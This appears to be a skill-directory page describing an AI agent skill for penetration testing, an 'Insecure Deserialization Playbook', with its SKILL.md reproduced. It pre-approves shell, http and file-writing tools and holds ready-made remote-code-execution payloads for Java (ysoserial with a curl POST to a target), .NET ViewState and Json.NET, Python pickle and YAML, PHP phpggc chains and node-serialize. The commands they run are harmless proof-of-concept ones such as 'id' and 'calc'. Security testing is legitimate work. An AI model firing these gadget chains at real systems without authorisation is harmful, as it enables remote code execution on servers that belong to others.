Insecure Deserialization Playbook

What it does

When your agent uses it

• Testing a cookie or parameter that appears to carry a serialized object
• Confirming insecure deserialization with a DNS callback before trying RCE
• Building a ysoserial or ysoserial.net gadget chain for a target

Example prompts

• “This cookie starts with rO0 - help me check if it's exploitable.”
• “Build a ysoserial.net ViewState payload for this ASP.NET target.”
• “Confirm whether this endpoint deserializes untrusted PHP objects.”

Requirements

• ysoserial, ysoserial.net or phpggc for payload generation
• A captured sample of the serialized data
• Pre-approved tools (allowed-tools): http, shell, read_payloads, file_write

Workflow steps

7 steps, taken from the step headings in SKILL.md.

1. 1Fingerprint the format
2. 2Java
3. 3.NET BinaryFormatter / Json.NET with TypeNameHandling
4. 4Python pickle
5. 5PHP unserialize
6. 6Node — node-serialize
7. 7Confirming impact

What it can do on your machine

Read from SKILL.md and the folder at commit 0759d87. It shows what the files ask for, not the result of running them.

• Tool permissions

  Pre-approves these tools, so the agent can use them without asking each time:

  • http
  • shell
  • read_payloads
  • file_write

  From allowed-tools in the SKILL.md frontmatter.

• Runs code

  Shell commands in SKILL.md call:

  • java
  • curl

  From the folder's file list and the shell code blocks in SKILL.md.

• Network

  Links to these hosts (documentation or services it may open):

  • github.com

  From URLs in SKILL.md, links to its own repository left out.

• Credentials

  Names no API keys, tokens, secrets or passwords.

  From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Insecure Deserialization Playbook loads about 1.7k tokens when it runs. Until then it costs about 101 tokens; SKILL.md has 591 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it

~101

When it runs · the whole SKILL.md, loaded when a task matches

~1.7k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from PentesterFlow/agent at commit 0759d87, republished under its Apache-2.0 licence (© PentesterFlow). 591 words, ~1,652 tokens.

name

deserialize

description

Insecure-deserialization playbook — fingerprint the language/format (Java serialized, .NET BinaryFormatter, Python pickle, PHP unserialize, Node serialize, YAML/JSON-with-types), then build a working gadget chain with ysoserial / ysoserial.net / phpggc / custom pickle. Use when you see serialized blobs (rO0/AC ED, base64 ViewState, PHP O:) or a parameter/cookie that deserializes user input.

allowed-tools

http, shell, read_payloads, file_write

# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
  --path="/Default.aspx" --apppath="/" \
  --validationkey="<KEY>" --validationalg="HMACSHA256"

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())

!!python/object/apply:os.system ["id"]

!!python/object/new:os.system ["id"]

phpggc -b Symfony/RCE4 system 'id'   # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfo

{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}

© PentesterFlow, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/deserialize of PentesterFlow/agent.

Open the folder on GitHubat commit 0759d87